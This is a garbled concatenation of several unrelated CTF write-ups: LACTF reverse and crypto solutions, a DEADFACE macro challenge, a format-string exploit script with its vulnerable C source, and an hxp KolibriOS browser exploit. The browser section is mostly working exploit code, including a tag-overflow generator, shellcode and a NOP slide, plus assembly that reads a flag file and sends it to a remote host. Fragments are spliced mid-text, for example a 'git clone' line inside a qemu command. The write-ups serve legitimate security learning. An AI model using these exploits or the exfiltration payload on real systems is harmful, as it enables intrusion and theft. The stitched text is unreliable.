Flag `lactf{that_button_was_definitely_not_one_of_the_terms}` |
# LACTF 2023
## meow meow
> When I was running my cyber lab, I asked if anyone doesn't like cats, and no one raised their hard, so it is FINAL, **CATS >> DOGS**!!!!! As a test, you need to find the cat in the sea of dogs in order to get the flag.> > Note: data.zip expands to around 575 MB.> > Author: burturt> > [`data.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/meow_meow/data.zip)> [`meow`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/meow_meow/meow)
Tags: _rev_
## SolutionWe have a stripped binary that we want to look at first with `Ghidra`. Since it's stripped we have to find the main by inspecting `entry`. But easily enough we get the main functionality. Lets break this down a bit.
The first part simply prints a message and reads some user input. Then the length of the input is calculated and tested to be a multiple of `5`. If not the program prints `WOOOOOOOF BARK BARK BARK` and exists.
```c++printf("Meow Meow? ");fgets((char *)&local_138,0x5f,stdin);sVar3 = strcspn((char *)&local_138,"\n");*(undefined *)((long)&local_138 + sVar3) = 0;sVar3 = strlen((char *)&local_138);if (sVar3 == (sVar3 / 5) * 5) { // ...}else { puts("WOOOOOOOF BARK BARK BARK"); uVar4 = 1;}return uVar4;```
The next part loops over the user input and calls `FUN_00101225`. The function basically maps all lower case characters `a-z` to `0-25` as well as `_` to `26`, `{` to `27` and `}` to `28`. In any other case the function returns `-1` causing the program to print a error message and exit. This strongly smells like a flag format validation, so we can assume the flag is all lower-case `a-z` plus `{`, `}` and `_`.
```c++for (local_1c = 0; uVar5 = (ulong)local_1c, sVar3 = strlen((char *)&local_138), uVar5 < sVar3; local_1c = local_1c + 1) { uVar1 = FUN_00101225((int)*(char *)((long)&local_138 + (long)local_1c)); *(undefined *)((long)&local_1a8 + (long)local_1c) = uVar1; if (*(char *)((long)&local_1a8 + (long)local_1c) == -1) { puts("WOOOOOOOF BARK BARK BARK"); return 2; }}```
```c++int FUN_00101225(byte param_1){ int iVar1; ushort **ppuVar2; ppuVar2 = __ctype_b_loc(); if (((*ppuVar2)[(char)param_1] & 0x200) == 0) { if (param_1 == 0x5f) { iVar1 = 0x1a; } else if (param_1 == 0x7b) { iVar1 = 0x1b; } else if (param_1 == 0x7d) { iVar1 = 0x1c; } else { iVar1 = -1; } } else { iVar1 = param_1 - 0x61; } return iVar1;}```
The magic numbers `0x61746164` and `0x30` expand to `data` and `0`. Then the program loops through `data0` - `data7` and checks if the files are accessible. If not again a error is printed and the program exits. This part obviously tests if the data files are present and accessible.
```c++local_1ae = 0x61746164;local_1aa = 0x30;local_20 = 0;while( true ) { uVar5 = (ulong)local_20; sVar3 = strlen((char *)&local_138); if (sVar3 / 5 <= uVar5) break; local_1aa = CONCAT11(local_1aa._1_1_,(char)local_1aa + '\x01'); iVar2 = access((char *)&local_1ae,0); if (iVar2 != 0) { if (local_20 == 0) { puts( "Error: make sure you have downloaded and extracted the data.zip files into the same folder as the executable." ); return 1; } puts("WOOOOOOOF BARK BARK BARK"); return 3; } local_20 = local_20 + 1;}```
The last part of the main function runs a parallel loop on the user input calling function `FUN_0010167a`. Then `local_b8` is assumed to have the value `7`, that looks like our success path. We also can assume that `local_b8` is somehow written by the parallel loop, even though Ghidra misses this in the decompiled code. Passed into the function are the user input `local_c8`, and the user input transformed to an index array `local_c0` (as we talked about when covering function `FUN_00101225`).
```c++local_28 = 0;local_b8 = 0;local_c8 = &local_138;local_c0 = &local_1a8;GOMP_parallel(FUN_0010167a,&local_c8,0,0);local_28 = local_b8;if (local_b8 == 7) { printf("MEOW"); for (local_24 = 0; local_24 < 1000; local_24 = local_24 + 1) { putchar(0x21); fflush(stdout); usleep(1000); } putchar(10); uVar4 = 0;}else { puts("Woof....."); uVar4 = 0xffffffff;}```
Function `FUN_0010167a` has a lot of parallel loop boilerplate code we can ignore. The input data is split in parts and assigned each as thead workload etc... The interesting part comes afterwards. Each workload works on one of the `data` files. The file is opened. The program jumps to an offset (`local_24*0x74`) and reads `0x74` bytes from this position. From this buffer the next offset is read whereas the index is coming from `local_2d = param_1[1][local_20 * 5 + local_28]`, that is our flag in index form (remember function `FUN_00101225`).
```c++void FUN_0010167a(char **param_1){ // ... boilerplate
for (; local_20 < iVar6; local_20 = local_20 + 1) { local_33 = 0x61746164; // "data" local_2f = (ushort)(byte)((char)local_20 + 0x31); // '0' + worker index local_2c = open((char *)&local_33,0); local_24 = 0; for (local_28 = 0; local_28 < 5; local_28 = local_28 + 1) { lseek(local_2c,(ulong)(uint)(local_24 * 0x74),0); local_2d = param_1[1][local_20 * 5 + local_28]; read(local_2c,local_a8,0x74); local_24 = local_a8[(int)local_2d]; } if (local_24 == 0x63617400) { // "cat\0" local_1c = local_1c + 1; } } LOCK(); *(int *)(param_1 + 2) = *(int *)(param_1 + 2) + local_1c; UNLOCK(); return;}```
So we can basically untangle the file format. Every of the data files is split into 0x74 chunks. The chunks are a list of indice to other chunks, for each of the 29 alphabet characters one index that can be looked up. Every data file handles `5` consecutive characters of the flag and for each character this index chain is done `4` times. The last index points to a pseudochunk that doesn't contain indice but `dog\0` or `cat\0` sequences. If we reach a `cat\0` at the end, the character is validated as correct.
To get the flag we can just move backwards for each character, starting at th `cat\0` position (only one is given per data file) and searching what chunk references this position. Doing this 4 times gives us the starting chunk and the index of the flag character. The [`following program`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/meow_meow/reconstruct.cpp) will do this to reconstruct the flag.
```c++#include <stdio.h>#include <malloc.h>#include <assert.h>
#define MAX_DATA_FILES 7#define SECTION_SIZE 116#define ALPHABET_LENGTH 29
#define MAKE_WORD(a,b,c,d) (((a)<<24)|((b)<<16)|((c)<<8)|(d))
typedef struct data_s{ unsigned char* buffer; int numSections; int startOffset;} data_t;
void readDataFile(int index, data_t& data){ char buffer[16]; sprintf_s(buffer, "data%d", index);
FILE* fp; if (fopen_s(&fp, buffer, "rb") != 0) { printf("failed reading '%s'\n", buffer); return; }
fseek(fp, 0L, SEEK_END); long size = ftell(fp); fseek(fp, 0L, SEEK_SET);
data.buffer = (unsigned char*)malloc(size); if (data.buffer == NULL || fread_s(data.buffer, size, sizeof(unsigned char), size, fp) != size) { printf("failed reading '%s'\n", buffer); } else { data.startOffset = -1; data.numSections = size / SECTION_SIZE;
for (int offset = SECTION_SIZE; offset < size && data.startOffset == -1; offset += SECTION_SIZE) { for (int j = offset; j < offset + SECTION_SIZE; ++j) { if ((*(unsigned int*)&data.buffer[j]) == MAKE_WORD('c','a','t',0)) { data.startOffset = j; break; } } }
assert(data.startOffset != -1 && "no start section found"); }
fclose(fp);}
char indexToChar(int index){ if (index < 26) { return index + 'a'; }
if (index == 26) { return '_'; } if (index == 27) { return '{'; } if (index == 28) { return '}'; }
return 0;}
int findNextSection(const data_t& data, int currentSection, int& index){ for (int section = 0; section < data.numSections; ++section) { unsigned int* offsets = (unsigned int*)&data.buffer[section * SECTION_SIZE]; for (int offset = 0; offset < ALPHABET_LENGTH; ++offset) { if (offsets[offset] == currentSection) { index = offset; return section; } } } return -1;}
int sectionOffsetToIndex(int offset, int section){ return (offset - section * SECTION_SIZE) / sizeof(int);}
int main(){ data_t data[7]; for (int i = 0; i < MAX_DATA_FILES; ++i) { readDataFile(i + 1, data[i]); }
for (int i = 0; i < MAX_DATA_FILES; ++i) { int currentSection = data[i].startOffset / SECTION_SIZE; char buff[6] = { 0 }; int bufferIndex = 4;
buff[bufferIndex] = indexToChar(sectionOffsetToIndex(data[i].startOffset, currentSection)); bufferIndex--;
do { int index = 0; int nextSection = findNextSection(data[i], currentSection, index); if (nextSection >= 0) { buff[bufferIndex] = indexToChar(index); bufferIndex--; } currentSection = nextSection; } while (currentSection != -1);
printf(buff); }}```
Flag `lactf{meow_you_found_me_epcsihnxos}` |
# LACTF 2023
## valentines-day
> Happy Valentine's Day! I'm unfortunately spending my Valentine's Day working on my CS131 homework. I'm getting bored so I wrote something for my professor. To keep it secret, I encrypted it with a Vigenere cipher with a really long key (161 characters long!)> > As a hint, I gave you the first part of the message I encrypted. Surely, you still can't figure it out though?> > Flag format is lactf{xxx} with only lower case letters, numbers, and underscores between the braces.> > Author: AVDestroyer> > [`intro.txt`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/crypto/valentines_day/intro.txt)> [`ct.txt`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/crypto/valentines_day/ct.txt)
Tags: _crypto_
## SolutionThe desription gives pretty much anything away. The given text is encrypted via [`Vigenère cipher`](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher) using a 161 character long key. There are [`tools`](https://www.guballa.de/vigenere-solver) that can easily reconstruct such a key in a short amount of time but we have the first sentence given as plain text, so we can just try to reconstruct the key ourself.
```pythonct = open("ct.txt", "rb").read()t = open("intro.txt", "rb").read()
key = []for i in range(len(t)): if (t[i] >= ord('a') and t[i] <= ord('z')) or (t[i] >= ord('A') and t[i] <= ord('Z')): key.append((ct[i]-t[i] + 26) % 26)
key.extend([0]*(161-len(key)))
for c in key: print(chr(c+ord('a')), end="")```
We just pad the text to the correct length, since the given plain-text is not enough to reconstruct the full key. Since the key is repeated over and over again we will not decrypt the full text but have passages that doesn't decrypt. Lets see if thats enough already. Running the script gives us the following key: `nevergonnagiveyouupnevergonnaletyoudownnevergonnarunaroundanddesertyounevergonnamakeyoucrynevergonnasaygooaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`.
```pythonindex = 0for c in ct: offset = 0 if (c >= ord('a') and c <= ord('z')): offset = ord('a') elif (c >= ord('A') and c <= ord('Z')): offset = ord('A') else: print(chr(c), end="") continue
c = ((((c - offset) - key[index%len(key)]) + 26) % 26) + offset index += 1 print(chr(c), end="")```
Using this key we can decrypt enough to get the flag:
```bash$ python decrypt.pyOn this Valentine's day, I wanted to show my love for professor Paul Eggert. This challenge is dedicated to him. Enjoy the challenge!
L xyw fmoxztu va tai szt, dbiazb yiff mt Zzhbo 1178 gyfyjhuzw vhtkqfy snih and every exam problem, then searching through my slide print-outs for the closest match and then just writing it down and hopinj gmv glz fvyh, jueg eww oq i wuqglh Z lrigjsss ynch xun esivmpwf: "oof hing banned in China?"
I remembered the wise words that my TA once told me:
Bing was never banned in China. Naive undergrad. Rent a virtudm kepldrv gbq phxgv.
Ehlb'w wuhu C ixyzchlr, ilc srez foq e wxzb sdz nrong. And I had managed to crack the code. I had to rent a lnxsrv and check. Under my breath, I muttered the words export PATH=/usr/local/cs/ejl:$TNXC, eej hurn mlp qowtswvqn:
wrm ~cuamyh/umlofikjayrvplzcwm.gdt | lesslactf{known_plaintext_and_were_off_to_the_races}
Suddenly, chilling wind brushed over my back.
After one and a half hours, they kbb jvrvpce anaazio eo ecvn bq abv TA wh bos aiahovr qojp.```
Flag `lactf{known_plaintext_and_were_off_to_the_races}` |
No captcha required for preview. Please, do not write just a link to original writeup [here](https://medium.com/@mahmoudelfawair/breakerctf-24-binaryshrink-4cc9feae0259). |
# My Daily Macros
## Description
> Points: 70>> Created by: hotstovehove
DEADFACE has gotten hold of the HR departments contact list and has been distributing it with a macro in it. There is a phrase the RE team would like for you to pull out of the macro.
Submit the flag as flag{some_text}.
[Download file](https://gr007.tech/writeups/2023/deadface/rev/macros/macros.zip)
## Solution
I did not even know what a xlsm file is. And I as the time of writting this writeup, I am still unware what might it be. I opened it in vim and was able to navigate between files inside it like a folder structure. I started to look for any string with `flag{` in it. and found it in the `xl/vbaProject.bin`.
```" zip.vim version v32" Browsing zipfile deadface/rev/macros/HR_List.xlsm" Select a file with cursor and press ENTER
[Content_Types].xml_rels/.relsxl/workbook.xmlxl/_rels/workbook.xml.relsxl/worksheets/sheet1.xmlxl/theme/theme1.xmlxl/styles.xmlxl/sharedStrings.xmlxl/vbaProject.bindocProps/core.xmldocProps/app.xml```
![flag](https://gr007.tech/writeups/2023/deadface/rev/macros/flag.png)
flag: `flag{youll_never_find_this_}` |
[![VIDEO](https://img.youtube.com/vi/Zu32BHwH-sA/0.jpg)](https://youtu.be/Zu32BHwH-sA "Floor mats: Format string exploit")
### Description>Welcome to the Floor Mat store! It's kind of like heaven.. for mats
# SolutionWatch video for full solution (format string exploit), but here's a solve script (note the index will vary from local/remote, but you can just send `%p * 100` or something instead).```pythonfrom pwn import *
# Connect to serverio = process('./floormats')
flag = ''
io.sendlineafter(b'Enter your choice:\n', b'6')io.sendlineafter(b'Please enter your shipping address:\n', b'%18$p %19$p %20$p %21$p')io.recvuntil(b'Your floor mat will be shipped to:\n\n')
response = io.recv(1000)
# Split response by spacesfor i, p in enumerate(response.split(b' ')): try: if not b'nil' in p: try: # Decode, reverse endianess and print decoded = unhex(p.strip().decode()[2:]) reversed_hex = decoded[::-1] print(str(i) + ": " + str(reversed_hex)) # Build up flag flag += reversed_hex.decode() except BaseException as e: pass except EOFError: pass
# Print and closeinfo(flag)io.close()```
Running the script leaks the flag!```INTIGRITI{50_7h475_why_7h3y_w4rn_4b0u7_pr1n7f}```
## Bonus: source code```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0);
char *mats[] = { "1. Cozy Carpet Mat - $10", "2. Wooden Plank Mat - $15", "3. Fuzzy Shag Mat - $20", "4. Rubberized Mat - $12", "5. Luxury Velvet Mat - $25", "6. Mysterious Flag Mat - $1337" };
char buf[128]; char flag[64]; char *flag_ptr = flag;
gid_t gid = getegid(); setresgid(gid, gid, gid);
FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("You have a flag.txt, right??\n"); exit(0); }
puts("Welcome to the Floor Mat store! It's kind of like heaven.. for mats.\n\nPlease choose from our currently available floor mats\n\nNote: Out of stock items have been temporarily delisted\n");
printf("Please select a floor mat:\n\n"); for (int i = 0; i < 5; i++) { printf("%s\n", mats[i]); }
int choice; printf("\nEnter your choice:\n"); scanf("%d", &choice);
if (choice < 1 || choice > 6) { printf("Invalid choice!\n\n"); exit(1); }
int matIndex = choice - 1;
while (getchar() != '\n');
if (matIndex == 5) { fgets(flag, sizeof(flag), file); }
printf("\nPlease enter your shipping address:\n");
fgets(buf, sizeof(buf), stdin);
printf("\nYour floor mat will be shipped to:\n\n");
printf(buf);
return 0;}``` |
Author: 0x6fe1be2
Version: 12-03-23
# [hxp CTF](https://ctftime.org/event/1845) (10.3-12.3)
## browser-insanity
Status: solved (w0y)
Category: PWN, ZAJ (Awesome)
Teammates: m4ttm00ny, EspressoForLife
Points: 435 (14 Solves)
### TL;DR
browser-insanity is a pwn challenge that requires you to exploit a browser from a niche custom x86-32 Kernel called [KolibriOS](http://kolibrios.org/en/). The default Browser in KolibriOS called Webview only supports html. Looking into the [source code](https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a) shows that there is an issue on how html tags are parsed.
This allows us to create an indefinite recursion which actually overflows into executed code. This is possible because KolibriOS doesn't have any memory protection features like multiple pages and permissions.
This overflow is used to jump into user controlled memory and prepare our RCE payload. At last we open a connection to our extraction URL and get the Flag. Exploit is at the end of the chapter.
### Intro
> **Description:**>> Ever wanted to hack a tiny OS written in x86-32 assembly and C--? Me neither but it’s hxp CTF 2022.>> Give us an URL, the user in the KolibriOS VM will visit it. You need to get the flag from /hd0/1/flag.txt>> The source code you could get from https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a>> The browser is at programs/cmm/browser in the source tree. It relies on a couple of different libraries (e.g. programs/develop/libraries), grep around.>> KolibriOS has its own debugger, DEBUG, available on the desktop. It may come in useful.>> The kernel ABI is at kernel/trunk/docs/sysfuncs.txt>> For building random pieces:>> INCLUDE=path_to_header.inc fasm -m 1000000 -s debug.s file.asm file.out>> Connection (mirrors):>> nc 78.46.199.173 27499
#### File Structure
```bashbrowser_insanity/# Container setup scriptsbrowser_insanity/docker-compose.ymlbrowser_insanity/Dockerfilebrowser_insanity/enter_challenge.pybrowser_insanity/ynetd# QEMU Setupbrowser_insanity/run_vm.shbrowser_insanity/kolibri.imgbrowser_insanity/images/browser_insanity/images/flag_fake.img# POWbrowser_insanity/pow-solverbrowser_insanity/pow-solver.cpp```
The most interesting files are *run_vm.sh* and *enter_challenge.py* because it shows us how to start the KolibriOS Machine
*run_vm.sh*
```bash#!/bin/sh
# The monitor is necessary to send mouse and keyboard events to write the address.# For debugging, you may want to replace -nographic with -s
qemu-system-x86_64 \ -cpu qemu64 \ -smp 1 \ -m 128 \ -serial mon:stdio \ -snapshot \ -no-reboot \ -boot a \ -fda kolibri.img \ -hda flag.img \ -nographic```
*enter_challenge.py* shows us how the service interacts with the machine, which can basically be summarized as visiting a given URL with the build-in Browser Webview.
### Test Environment
One of the hardest parts of the challenge was creating a prober Test Environment, because we need to learn a new Kernel and Debugging Tool.
#### Start Machine
by modifying *run_vm.sh* we can get a graphical system
```bash#!/bin/sh
qemu-system-x86_64 \ -cpu qemu64 \ -smp 1 \ -m 1024 \ -daemonize \git clone https://repo.or.cz/kolibrios.git # detach into graphics window -snapshot \ -no-reboot \ -boot a \ -fda kolibri.img \ # Kolibri OS mounted to /syz/ -hda images/flag_fake.img \ # flag.img mounted to /hd0/1/```
#### Mount and edit kolibriimg img
We can also mount the operating image to copy our own binaries for testing.
```bashmkdir kolibriimgsudo mount -o loop kolibri.img kolibriimg```
#### Webview (Browser)
Webview is the integrated Browser of KolibriOS which we need to exploit.
![Webview Browser](https://gfelber.dev/img/Webview.png)
#### KolibriOS DEBUG
Luckily KolibriOS has it's own integrated Debugging Tool which will be very useful.
![](http://wiki.kolibrios.org/images/2/25/Mtdbg_overview.png)
**Important Commands**
```load <FILE_PATH> # Load Programm e.g. load /sys/Network/Webviewg # Start Files # step jmp inton # next jmp overbpm w <ADDR> # break on memory access writed <ADDR> # show data at ADDRu <ADDR> # show intructions at ADDRterminate # Terminate current session```
#### Source Code
https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a
```bashgit clone https://repo.or.cz/kolibrios.gitcd kolibriosgit checkout 7fc85957a89671d27f48181d15e386cd83ee7f1a```
##### File Structure
```bashkolibrios # root dir...kolibrios/kernel # kernel code...kolibrios/programs # programs inside os...kolibrios/programs/network # networking programs (important for exploit)...kolibrios/programs/cmm/browser # browser...```
#### Compiling
http://wiki.kolibrios.org/wiki/Writing_applications_for_KolibriOS
```bashfasm test.asm test```
Included Files e.g. `include 'macros.inc'` need to be in the same directory, the best directory for compiling files is *kolibrios/programs/*
#### Syscalls
kernel/trunk/docs/sysfuncs.txt
There is a .txt file that explains the different Syscalls of the kernel.
One interesting Quirk of this kernel is that similarly to a Commodore 64 the kernel provides APIs to render images and flip pixels.
Even though this seems useful for creating a payload at the end i decided that it would be easier to copy a payload together from different code samples.
#### Webview
programs/cmm/browser
* Only supports HTML (no CSS or JS)
##### `<html><body>`Header
These tags are required for rendering a page as html
##### `` Hyperlinks
Create Links to other pages, but also local programs (yeah wtf)
##### `` Images
Allows displaying data as image
#### KolibriOS
##### File Structure
```bash/sys/sys/3d/sys/Demos/sys/Develop/sys/Develop/Examples/sys/Drivers/sys/Fonts/sys/File Managers/sys/Games/sys/Lib/sys/Media/sys/Media/Imgf/sys/Network/sys/Network/Webview # Executable we need to exploit/sys/Settings```
### Webview (Browser)
#### Debugging
**Important Addresses**
* `0x00000000` Base Address (Executed file)* `0x00002800` Start of Stack* `0x00003900` Location of our tag structure* `0x00012b0f` Start of our tag write routine* ~`0x00400000` User controlled Memory (probably heap) contains our Webpage
### Vulnerability
m4ttm00ny notized that there the browser crashes when a tag over the size of 32 char is specified. Sadly we never really found out where the unsafe source code is located it is probably this:
*programs/cmm/browser/TWB/TWB.c*
```cvoid TWebBrowser::ParseHtml(dword _bufpointer, _bufsize){ ... if (ESBYTE[bufpos] == '<') && (is_html) { if (strchr("!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ESBYTE[bufpos+1])) { bufpos++; if (tag.parse(#bufpos, bufpointer + bufsize)) { ... } continue; } } ...}
```
*programs/cmm/browser/TWB/parse_tag.h*
```c...struct _tag{ char name[32]; char prior[32]; bool opened; collection attributes; collection values; dword value; dword number; bool is(); bool parse(); dword get_next_param(); dword get_value_of(); signed get_number_of();} tag=0;...bool _tag::parse(dword _bufpos, bufend) { ... // probably this if (name) strcpy(#prior, #name); else prior = '\0'; ...}```
We spend some time trying to understand why exactly this causes the code to crash
Looking at memory after the crash shows that memory is filled with our 32 byte tag.
After spending some more time in the debugger EspressoForLife and I concluded that we actually overflow into executed code (This wasn't as obvious as in gdb, because errors make the instruction pointer jump to the start of the page `0x00000000`, not showing an invalid instruction was executed).
### Exploitation
#### Exploiting Overflow
##### Analysis
We create a simple webpage that crashes the browser
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'
def tagger(tag): return b'<' + tag + b'/>'
with open('exploit.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(cyclic(0x20)))```
NOTE: Webview has a strong cache setting, therefore cache needs to be cleared before each visit with CTRL+F5
If we now open our program and set a write breakpoint at 0x12b0e (with `bpm w 12b0e`) we can see our write routine and how our overwrite happens
![image-20230313104920207](https://gfelber.dev/img/anal_over_dbg.png)
Using `cylic_find('acaa')+4` we see that the overflow starts after 11 chars. We also see that our overwrite routine checks for null bytes with `test al, al`, which is why we need to exclude null chars. We can now rewrite our script to jmp into our tag like this:
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def tagger(tag): return b'<' + tag + b'/>'
gen = cyclic_gen()exploit = gen.get(0xb)# don't overwrite lodsb intruction to keep overwrite routine goingexploit += asm('lodsb')# jmp location doesn't matter because we only write the first byteexploit += asm('jmp $')# realine gen.getgen.get(len(exploit)-0xb)# make sure our exploit is exploit += gen.get(0x20 - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit))```
![image-20230313104920207](https://gfelber.dev/img/jmp_over_dbg.png)
We once again use `cyclic_find('aafa')` to see our first code execution starts at offset 18.
##### Jumping to User controlled memory
Because our controlled code execution starts at offset 18 we only have about 14 bytes of RCE (32-18), which isn't enought to read and extract our flag, that is why we need to jmp into user controlled memory, were we can execute more Instructions.
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def tagger(tag): return b'<' + tag + b'/>'
gen = cyclic_gen()exploit = gen.get(0xb)exploit += asm('lodsb')exploit += asm('jmp $')# align cyclicgen.get(len(exploit)-0xb)# align tagexploit + = gen.get(0x12)# 9 byte exploit goes hereexploit += b''# make sure our exploit is 32 chars long# align cyclicgen.get(len(exploit)-0x12)exploit += gen.get(0x20 - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit)) # append a lot of characters exploithtm.write(cyclic(MAX_LENGTH, alphabet=string.printable.encode()))```
![Add user controlled memory](https://gfelber.dev/img/user_controlled_memory.png)
After allocating a lot of memory through adding a lot of characters (`0x100000`) we can jump through memory in `0x100000` steps to see were our data is written and we find out, that `0x400000` hast allocated our data.
We can use this knowledge to rewrite our exploit to jmp to `0x400000` and place a NOP slide at user controlled memory
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size): return b'\x90' * size
def tagger(tag): return b'<' + tag + b'/>'
TAG_LENGTH = 0x20OVERFLOW_START = 0xbJMP_CODE = 0x12gen = cyclic_gen()exploit = gen.get(OVERFLOW_START)exploit += asm('lodsb')exploit += asm('jmp $')exploit += gen.get(JMP_CODE - len(exploit))# 14 byte exploit goes hereexploit += asm('xor eax, eax')exploit += asm('mov al, 0x40')exploit += asm('shl eax, 0x10')exploit += asm('jmp eax')# make sure our exploit is 32 chars longexploit += gen.get(TAG_LENGTH - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit)) # append a lot of NOPs exploithtm.write(nop(MAX_LENGTH))```
![Exploit Over JMP](https://gfelber.dev/img/exploit_over_dbg.png)
We can now append our payload to the nop slide and get arbitary code execution
#### Setup Payload
Now we only need to create a payload. Because I didn't want to learn how SYSCALLS work in this Operating system i decided to create a setup script that copies a payload at the into the base address at `0x00000000` which makes it possible to compile payload with fasm.
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size): return b'\x90' * size
def tagger(tag): return b'<' + tag + b'/>'
# create exploit...
# setup payload # read payload from compiled binaryPAYLOAD_FILE='./test'ENTRY = 0x24
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
# set MOV destination (edi) to base address 0x00000000setup = asm('xor edi, edi')# MOV the entire payload to destinationsetup += asm(f'mov ecx, {len(payload)}')# trick we use to set the source to current EIPget_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')# Add offset from EIP to start of payloadsetup += asm('add esi, 13')# MOV PAYLOAD to destinationsetup += asm('rep movsb')# jmp to ENTRYPOINTsetup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')# Combine setup and payloadpayload = setup + payload# Append nopslidepayload = nop(MAX_LENGTH-len(payload)) + payload
print(exploit.hex())with open('test.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit)) # append payload exploithtm.write(payload)```
We can get the entrypoint either by copying the binary to the kolbri.img and load it into the debugger or read the file header with:
```bash> head test -c 16 | hexdump -C00000000 4d 45 4e 55 45 54 30 31 01 00 00 00 24 00 00 00 |MENUET01....$...|00000010```
In this case the Entrypoint is `0x24`
And It works:
![Setup test](https://gfelber.dev/img/setup.png)
#### Payload
In order to read and extract the flag we need to understand the kernel, especially syscalls. Even though there isn't any good documentation we are provide a lot of sample programs in the repository. The most interesting ones are:
* *programs/network/telnet/telnet.asm*
a telnet implementation for KolibriOS that can be used for creating a remote connection to our extraction URL
* *programs/network/pasta/pasta.asm*
a tool that sends files or clipboard content to [dpaste.com](http://dpaste.com), this gives us an example on how to read files
we use *programs/network/telnet/telnet.asm* as our template
```assembly...; send data routinethread: mcall 40, 0
mcall 68, 12, 32768 ; read flag file test eax, eax jz .error mov [file_struct.buf], eax mov [clipboard_data], eax mcall 70, file_struct cmp eax, 6 jne .error mov [clipboard_data_length], ebx mov eax, [clipboard_data]
jmp .loop .error: mov ecx, 0xc mov esi, file_error mov edi, clipboard_data rep movsb
; send data to Remote .loop: mov ebx, [counter] mov esi, [clipboard_data] add esi, ebx add ebx, 2 mov [counter], ebx mov ax, [esi] mov [send_data], ax xor esi, esi inc esi test al, al jz done inc esi mcall send, [socketnum], send_data ; send data to remote URL
invoke con_get_flags jmp .loop...socketnum dd ? buffer_ptr rb BUFFERSIZE+1 file_error db 'Error with file', 0xa, 0, 0 file_done db 'File loaded', 0xa, 0, 0 param db '/hd0/1/flag.txt', 0 ; file to extractsend_data dw ?counter dd 0identifier dd 0clipboard_data dd 0 ; file data ptrclipboard_data_length dd 0send_ptr dd ?
hostname db '10.0.2.2:42069', 0 ; extraction URL
file_struct: dd 0 ; read file dd 0 ; offset dd 0 ; reserved dd 32768 ; max file size .buf dd 0 ; buffer ptr db 0 dd param
mem:```
Now we finalize our generator script and get:
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size): return b'\x90' * size
def tagger(tag): return b'<' + tag + b'/>'
# create exploit
# setup payload # read payload from compiled binaryPAYLOAD_FILE='./programs/payload'ENTRY = 0x1a1
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
# set MOV destination (edi) to base address 0x00000000setup = asm('xor edi, edi')# MOV the entire payload to destinationsetup += asm(f'mov ecx, {len(payload)}')# trick we use to set the source to current EIPget_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')# Add offset from EIP to start of payloadsetup += asm('add esi, 13')# MOV PAYLOAD to destinationsetup += asm('rep movsb')# jmp to ENTRYPOINTsetup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')# Combine setup and payloadpayload = setup + payload# Append nopslidepayload = nop(MAX_LENGTH-len(payload)) + payloadpayload_wrap = b""
print(exploit.hex())with open('test.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit)) # append a lot of characters exploithtm.write(payload_wrap)```
And we managed to extract the fake flag!!!
![test extract](https://gfelber.dev/img/test_extract.png)
Now we only need to make our website and extract port publicly visible and we WIN!!!
### Final Solution
*exploit_gen.py*
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000ENTRY = 0x1A1out = [] PAYLOAD_FILE='./programs/payload'# PAYLOAD_FILE='./test'
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
setup = asm('xor edi, edi')setup += asm(f'mov ecx, {len(payload)}')get_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')setup += asm('add esi, 13')setup += asm('rep movsb')setup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')print(7, len(setup), setup.hex())payload = setup + payloadpayload = (b'\x90'*(MAX_LENGTH-len(payload))) + payload
IMG = b''
def nop(size): return b'\x90' * size
def tagger(tag): return b'<' + tag + b'/>'
def vtagger(tag): return tagger(b'a' + tag)
def ctagger(size): return tagger(cyclic(size))
def otagger(tag): padding = cyclic(0x1f) return tagger(padding+tag)
